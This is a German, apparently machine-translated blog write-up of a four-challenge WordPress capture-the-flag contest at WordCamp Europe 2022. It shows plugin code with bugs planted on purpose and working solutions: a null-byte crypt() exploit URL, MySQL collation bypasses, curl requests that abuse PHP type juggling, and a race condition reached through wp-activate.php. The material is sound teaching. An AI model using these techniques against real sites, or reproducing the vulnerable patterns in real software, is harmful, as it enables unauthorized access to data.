Erobere die Flagge beim WordCamp Europe 2022

Veröffentlicht: 2022-06-13

Während des WordCamp Europe 2022 haben wir einen WordPress Capture The Flag (CTF)-Wettbewerb mit vier Herausforderungen durchgeführt.

Wir wollten die Leute in die süchtig machende Welt von CTF einführen und die Leute erleben lassen, wie Sicherheitsforscher an die Fehlersuche herangehen, z. B. nach Kuriositäten im Code suchen und sie kombinieren, um seltsame, manchmal kontraintuitive Dinge zu tun.

Herausforderung Nr. 1 – Haben Sie Glück?

Herausforderung Nr. 2 – Umgehung der Sperrliste?

Herausforderung Nr. 3 – Lizenz zum Erobern der Flagge

Herausforderung Nr. 4 – Lizenz für CTF: Teil 2

Wenn Sie daran interessiert sind, es auszuprobieren, können Sie die Herausforderungsdateien immer noch hier herunterladen:

hackismet-docker.zipHerunterladen

Herausforderung #1 – Hast du Glück? (250 Punkte)

Relevante Codeschnipsel

 register_rest_route( 'hackismet', '/am-i-lucky', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_am_i_lucky',
     'permission_callback' => '__return_true',
 ]);

 function hackismet_am_i_lucky( $request ) {
     $flag = get_option( 'secret_hackismet_flag_2' );
     if( hash_equals( crypt( $request['payload'] . $flag . random_bytes(32), '$1$sup3r_s3kr3t_s4lt' ), $request['hash'] ) ) {
        return rest_ensure_response( $flag );
     }
     return rest_ensure_response(false);
 }

Wie könnte es gelöst werden?

Diese Herausforderung stellte einen REST-API-Endpunkt dar, auf den über die Route /wp-json/hackismet/am-i-lucky zugegriffen werden konnte. Es wurde entwickelt, um einen Payload- und Hash-Anforderungsparameter zu empfangen, request['payload'] mit dem Flag und einer Zeichenfolge von 32 kryptografisch sicheren Zufallsbytes zu verketten und den resultierenden Hash mit request['hash'] zu vergleichen.

Beim Lesen der Dokumentation der crypt()-Funktion konnte man feststellen, dass diese Funktion (noch!) nicht binär sicher ist, was bedeutet, dass ein Null-Byte (%00) verwendet werden könnte, um die zu hashende Zeichenfolge direkt vor dem Flag und abzuschneiden 32 zufällige Bytes. Dies liegt daran, dass die aktuelle Implementierung dieser Funktion in PHP im Grunde nur ein Alias ​​der zugrunde liegenden C-Funktion mit demselben Namen ist und C-Strings mit Nullbytes enden.

Um Ihr Flag zu erhalten, mussten Sie lediglich einen Hash mit der von Ihnen kontrollierten Nachricht und dem im Code des Plugins verwendeten kryptografischen Salz berechnen, den resultierenden Hash im „hash“-Parameter verwenden und Ihre Nachricht in die „Payload“ einfügen. Parameter, verkettet mit einem Nullbyte (%00).

So sah ein erfolgreicher Exploit aus:

/wp-json/hackismet/am-i-lucky?payload=lel%00&hash=$1$sup3r_s3$sThhFzCqsprSVMNFOAm5Q/

Herausforderung Nr. 2 – Umgehung der Sperrliste? (250 Punkte)

Relevante Codeschnipsel

 register_rest_route( 'hackismet', '/get-option/(?P<option_key>\w+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_get_option',
     'permission_callback' => 'hackismet_validate_option',
 ]);

 function hackismet_validate_option( $request ) {
     $option_key = trim( strtolower( $request['option_key'] ) );
     if( empty( $option_key ) ) {
        return false;
     }
 
     if( ! preg_match( '/^hackismet_/i', $option_key) ) {
        return false;
     }
 
     if( $option_key == 'hackismet_flag_1' ) {
        return false;
     }
     return true;
 }

 function hackismet_get_option( $request ) {
    $option_key = trim( strtolower( $request['option_key'] ) );
    return rest_ensure_response( get_option( $option_key ) );
 }

Wie könnte es gelöst werden?

Diese Herausforderung stellte einen REST-API-Endpunkt dar, auf den über /wp-json/hackismet/get-option/option_key_you_want werden konnte.

Das Ziel war ziemlich einfach: Versuchen Sie, die Option „hackismet_flag_1“ durchsickern zu lassen.

Leider hat der Berechtigungs-Callback für diesen Endpunkt auch ein paar Dinge bewirkt, die Sie daran hindern, einfach irgendwelche Optionen auf der Website zu ergreifen:

  • Es bestätigte, dass der Optionsschlüssel mit „hackismet_“ begann.
  • Es stellte auch sicher, dass die Option, die Sie abrufen wollten, nicht hackismet_flag_1 war, wo sich das Flag befand.
  • Um die Dinge schwieriger erscheinen zu lassen, beschränkte die API-Route, welche Zeichen es in den option_key-Routenparameter schaffen konnten, und erlaubte nur Zeichenfolgen, die mit der Regex \w+ übereinstimmen.

Die Callback-Funktion „hackismet_validate_option“ verwendete auch die Funktionen „strtolower“ und „trim“, um zu versuchen, den Parameter „option_key“ zu normalisieren. Dies sollte Versuche vereiteln, gut dokumentierte Verhaltensweisen von MySQLs Kollatierung „utf8mb4_unicode_ci“ zu verwenden, wie die Tatsache, dass bei Zeichenfolgenvergleichen nicht zwischen Groß- und Kleinschreibung unterschieden wird und dass es sich auch nicht um nachgestellte Leerzeichen in VARCHAR-Spalten kümmert.

Andere Collation-Tricks

Um diese Herausforderung zu lösen, musste man andere Besonderheiten in der Art und Weise finden, wie „utf8mb4_unicode_ci“ Zeichenfolgensuchen durchführt, um die vorhandenen Prüfungen zu umgehen, und es gab mindestens zwei Möglichkeiten, dies zu tun.

Akzentempfindlichkeit

Wie in der offiziellen MySQL-Dokumentation erwähnt:

Bei nicht-binären Kollatierungsnamen, die keine Akzentsensitivität angeben, wird dies durch die Groß-/Kleinschreibung bestimmt.

Kurz gesagt: Akzentempfindlichkeit ist eine Sache. Die Standardsortierung von WordPress verwendet die Komponente „_ci“ (für „Case-Insensitive“), was bedeutet, dass die Sortierung auch Accent-Insensitive ist.

Daher würde das Übergeben von „hackismet_flag_1“ die Überprüfungen in hackismet_validate_option .

Ignorierbare Gewichte

Der Unicode-Sortierungsalgorithmus, der von MySQLs utf8mb4_unicode_ci-Sortierung zum Vergleichen und Sortieren von Unicode-Strings verwendet wird, beschreibt das Konzept der „ignorierbaren Gewichtungen“ wie folgt:


Ignorierbare Gewichtungen werden von den Regeln übergeben, die Sortierschlüssel aus Folgen von Sortierungselementen erstellen. Daher wirkt sich ihr Vorhandensein in Sortierungselementen nicht auf den Vergleich von Zeichenfolgen mit den resultierenden Sortierschlüsseln aus . Die wohlüberlegte Zuweisung von vernachlässigbaren Gewichtungen in Vergleichselementen ist ein wichtiges Konzept für die UCA.

Kurz gesagt, der Algorithmus berechnet eine Gewichtung für jedes Kollatierungselement (Zeichen), und einige von ihnen sind so definiert, dass sie eine Standardgewichtung von Null haben, wodurch der Algorithmus sie effektiv ignoriert, wenn er Zeichenfolgenvergleiche durchführt.

Es gab mehrere Möglichkeiten, dieses Verhalten zu (missbrauchen), um die Herausforderung zu meistern, darunter:

  • Hinzufügen von Null-Bytes irgendwo innerhalb der Zeichenfolge (z. B. hackismet_fl%00ag_1 )
  • Einfügen ungültiger UTF-8-Sequenzen in die Zeichenfolge (z. B. hackismet_fl%c2%80ag_1 )

Sie können viele andere Kombinationen in der UCA-Implementierung von MySQL finden.

Umgehen der Zeichenbeschränkung des „option_key“-Parameters

Die Routenvariable „option_key“ wurde so definiert, dass sie nichts anderes als \w+ passieren lässt. Das war ein Problem. PHP behandelt jeden String als eine Reihe von Bytes und nicht als Unicode-Zeichen wie MySQL, also senden Sie eine Anfrage an „/wp-json/hackismet/get-option/hackismet_flag_1“ oder „/wp-json/hackismet/get-option/hackismet_fla %00g_1” würde nicht funktionieren.

Um dies zu umgehen, half die offizielle Dokumentation von WordPress zum Schreiben von REST-API-Endpunkten ein wenig, insbesondere die Zeile, in der es heißt:

Standardmäßig erhalten Routen alle von der Anfrage übergebenen Argumente. Diese werden zu einem einzigen Parametersatz zusammengeführt und dann dem Request-Objekt hinzugefügt, das als erster Parameter an Ihren Endpunkt übergeben wird

In der Praxis bedeutet dies, dass beim Besuch von /wp-json/hackismet/get-option/test?option_key=hackismet_fla%00g_1 der Parameter option_key „hackismet_fla%00g_1“ und nicht „test“ enthalten würde, was ebenfalls die Plugin, um Ihnen die Flagge zu geben.

Herausforderung Nr. 3 – Lizenz zum Erobern der Flagge (500 Punkte)

Relevante Codeschnipsel

 register_rest_route( 'hackismet', '/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_generate_license',
     'permission_callback' => '__return_true',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 register_rest_route( 'hackismet', '/access-flag-3/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_access_flag_3',
     'permission_callback' => 'hackismet_validate_license',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 register_rest_route( 'hackismet', '/delete-license/(?P<session_id>[0-9a-f\-]+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_delete_license',
     'permission_callback' => '__return_true',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 function hackismet_generate_license( $request ) {
     // 128 bits of entropy should be enough to prevent bruteforce.
     $license_key = bin2hex( random_bytes(40) );
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
     // Reset it.
     update_option( 'secret_hackismet_license_key_' . $request['session_id'], bin2hex( random_bytes( 64 ) ) );
     return rest_ensure_response('License successfully generated!');
 }

 function hackismet_delete_license( $request ) {
     // Remove existing key.
     delete_option('secret_hackismet_license_key_' . $request['session_id']);
     return rest_ensure_response('License successfully deleted!');
 }

 function hackismet_validate_license( $request ) {
    // Ensure a key has been set
    if( ! get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return new WP_Error('no_license', 'No license exists for this session_id!');
    }
    $license_key = $request['key'];
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
    if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return true;
    }
    return false;
 }

 function hackismet_access_flag_3( $request ) {
     return rest_ensure_response( get_option( 'secret_hackismet_flag_3' ) );
 }

Wie könnte es gelöst werden?

Die Idee hinter dieser Herausforderung war, ein (sehr) kaputtes Lizenzverwaltungs- und Validierungssystem zu simulieren.

Während diese Herausforderung es den Teilnehmern ermöglichen sollte, eine ziemlich esoterische Schwachstelle in Rennbedingungen auszunutzen, machte sie ein subtiles Versehen des Herausforderungsdesigners mit einer nicht beabsichtigten, weniger exotischen Lösung lösbar.

Die Herausforderung bot drei Endpunkte, obwohl nur zwei erforderlich wären, um die Flagge zu erhalten:

  • /hackismet/generate-license/(?P<session_id>[0-9a-f\-]+)/(?<runden>\d+)
  • /hackismet/access-flag-3/(?P<session_id>[0-9a-f\-]+)/(?<runden>\d+)
  • /hackismet/delete-license/(?P<session_id>[0-9a-f\-]+)

Der generate-license Endpunkt hat einen sitzungsspezifischen Lizenzschlüssel ausgefüllt, der dann mithilfe des hackismet_validate_license -Berechtigungsrückrufs des access-flag-3 Endpunkts validiert wurde. Da Sie leider nie sehen konnten, was der tatsächlich generierte Lizenzschlüssel war, mussten Sie einen Weg finden, die Lizenzprüfung vollständig zu umgehen, um das Flag zu erhalten.

    $license_key = $request['key'];
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
    if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return true;
    }

Eine Möglichkeit, dies zu tun, bestand darin, $request['key'] booleschen Wert "true" und $request['rounds'] Wert null enthalten zu lassen. Dadurch haben Sie sichergestellt, dass $request['key'] nicht durch mehrere Aufrufe von str_rot13 geändert wurde, und da die Lizenzvalidierung mit dem losen Vergleichsoperator von PHP erfolgt, würde der Vergleich immer wahr zurückgeben.

Mit normalen GET oder POST Parametern wäre das jedoch nicht möglich, da diese immer nur Strings oder Arrays enthalten. Glücklicherweise ermöglicht Ihnen die WordPress-REST-API das Senden eines JSON-Anfragetexts, sogar an Endpunkte, die nur für die Verwendung der GET-HTTP-Methode registriert sind. Wenn Sie also die folgenden Anfragen senden, erhalten Sie das Flag der Herausforderung:

curl –url 'https://ctfsite.com/wp-json/generate-license/$your_session_id/1234'
curl –url 'https://ctfsite.com/wp-json/access-flag-3/$your_session_id/0' -X GET –data '{"key":true}' -H 'Content-Type: application/json'

Challenge #4 – Lizenz für CTF: Teil 2 (500 Punkte)

Relevante Codeschnipsel

register_rest_route( 'hackismet', '/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
    'methods' => WP_Rest_Server::READABLE,
    'callback' => 'hackismet_access_flag_4',
    'permission_callback' => 'hackismet_validate_license',
    'args' => [
        'session_id' => [
           'required' => true,
           'type' => 'string',
           'validate_callback' => 'wp_is_uuid'
        ],
        'key' => [
            'required' => true,
            'type' => 'string'
        ]
    ]
]);

 function hackismet_access_flag_4( $request ) {
     return rest_ensure_response( get_option( 'secret_hackismet_flag_4' ) );
 }

// (... and basically every other code snippets from Challenge #3! )

Wie könnte es gelöst werden?

Diese Herausforderung stellte drei Endpunkte dar (und erforderte tatsächlich die Verwendung aller drei, um gelöst zu werden!):

  • /hackismet/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<runden>\d+)
  • /hackismet/delete-license/(?P<session_id>[0-9a-f\-]+)
  • /hackismet/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<runden>\d+)

Wie Sie sehen können, sind dies dieselben Endpunkte wie bei der letzten Herausforderung. Der einzige Unterschied besteht jetzt darin, dass wir sicherstellen, dass $request['key'] eine Zeichenfolge ist, um das Typ-Jonglage-Problem zu verhindern, das wir in der anderen Herausforderung erwähnt haben.

Die selbsterklärende Route zum delete-license hat genau das bewirkt, was Sie erwarten würden: die aktuelle Lizenz aus der Datenbank entfernen. In ähnlicher Weise gab access-flag-4 einfach das Flag zurück, vorausgesetzt, sein Berechtigungsrückruf hackismet_validate_license ließ dies zu.

Wie Sie dem Code-Snippet hackismet_validate_license können, wird der Berechtigungs-Callback mit dem Namen get_option zweimal gesetzt, einmal zum Validieren eines Lizenzschlüssels und einmal zum Vergleichen mit dem von uns bereitgestellten. Beide Aufrufe sind durch eine str_rot13-Schleife getrennt, die so viele Runden durchläuft, wie in der Routenvariable $request['rounds'] definiert.

Dies ermöglichte das Auftreten einer Race-Condition, indem eine große Zahl in die rounds-Variable gesendet wurde, um die Anfrage lange genug zu verzögern, damit wir den /hackismet/delete-license Endpunkt erreichen konnten, wodurch die Lizenz effektiv gelöscht wurde, bevor sie mit unserer eigenen verglichen wurde.

Die Tatsache, dass get_option() standardmäßig ein boolesches False zurückgibt, wenn es eine bestimmte Option nicht findet, ist das Sahnehäubchen auf dem Kuchen. Da die Funktion niemals überprüft, ob $request['key'] leer ist, und false == „“ beim groben Vergleich verschiedener Typen in PHP, würde uns dies ermöglichen, die Sicherheitsprüfungen vollständig zu umgehen.

Aber das ist nur die Theorie!

Caching zur Rettung!

Wie dem Quellcode der Funktion zu entnehmen ist, get_option das Ergebnis der abgerufenen Option im Cache, sodass bei jeder weiteren Anfrage für diese Option auf derselben HTTP-Anfrage keine zusätzlichen separaten SQL-Abfragen gesendet werden. Dies allein verhindert, dass unser Race-Condition-Angriff funktioniert. Selbst wenn eine andere Anfrage die Lizenzoption gelöscht hätte, während wir all diese str_rot13 Aufrufe durchlaufen, würde get_option dies nicht wissen, da das Ergebnis für diese Anfrage bereits zwischengespeichert wird!

Nochmals, wenn man sich den Quellcode ansieht, sieht es so aus, als ob die einzige Möglichkeit, dies zu verhindern, darin besteht, wenn wp_installing zurückkehrt ... wahr? Wie sich herausstellt, können wir es schaffen.

Ist WordPress schon installiert?

Die Funktion wp_installing verlässt sich auf die Konstante WP_INSTALLING, um festzustellen, ob WordPress gerade installiert oder sich selbst aktualisiert. Die Suche nach Stellen, an denen diese Konstante definiert ist, führt zu sehr wenigen Ergebnissen, wobei das interessanteste in unserem Fall wp-activate.php ist:

<?php
/**
 * Confirms that the activation key that is sent in an email after a user signs
 * up for a new site matches the key for that user and then displays confirmation.
 *
 * @package WordPress
 */
 
define( 'WP_INSTALLING', true );
 
/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';
 
require __DIR__ . '/wp-blog-header.php';
 
if ( ! is_multisite() ) {
    wp_redirect( wp_registration_url() );
    die();
}

Was es für unseren Zweck hier besonders geeignet macht, ist, dass eines der ersten Dinge, die es tut, ist, require() auf wp-blog-header.php auszuführen.

Lange Rede, kurzer Sinn: Der Code, der den REST-API-Server tatsächlich startet, ist mit der Aktion parse_request , sodass er nur verfügbar ist, wenn WordPress intern die Abfragevariablen einrichtet, die für The Loop erforderlich sind, um seine Arbeit zu erledigen.

Dies tritt nur auf, wenn die Funktion wp() wie in wp-blog-header.php aufgerufen wird.

Da WordPress intern den rest_route-Parameter verwendet, um zu wissen, welche Route geladen werden soll, reicht das Hinzufügen dieses Parameters zur URL aus, um die API beim Besuch von /wp-activate.php zu starten.

Als solches sah der letzte Angriff in etwa so aus:

  1. Senden Sie eine Anfrage an /wp-activate.php?rest_route=/hackismet/access-flag-4/$session_id/$rounds , wobei $rounds eine ziemlich große Zahl ist, damit diese Anfrage lange genug läuft, damit Sie Schritt 2 ausführen können.
  2. Senden Sie eine Anfrage an /wp-json/hackismet/delete-license/$session_id während Ihre erste Anfrage in der str_rot13 Schleife blockiert wird.
  3. Warten Sie, bis Ihre erste Anfrage abgeschlossen ist, und holen Sie sich Ihre Flagge.

Fazit

Wir hoffen, Sie hatten genauso viel Spaß bei der Teilnahme an dieser ersten Ausgabe des Jetpack Capture The Flag-Wettbewerbs wie wir bei der Durchführung. Wir freuen uns darauf, dies irgendwann in der Zukunft wieder zu tun. Um mehr über CTF zu erfahren, besuchen Sie CTF101.org

Kredite

Challenge-Designer: Marc Montpas

Besonderer Dank geht an Harald Eilertsen für die persönliche Verbreitung beim WordCamp Europe und an das Team von Jetpack Scan für Feedback, Hilfe und Korrekturen.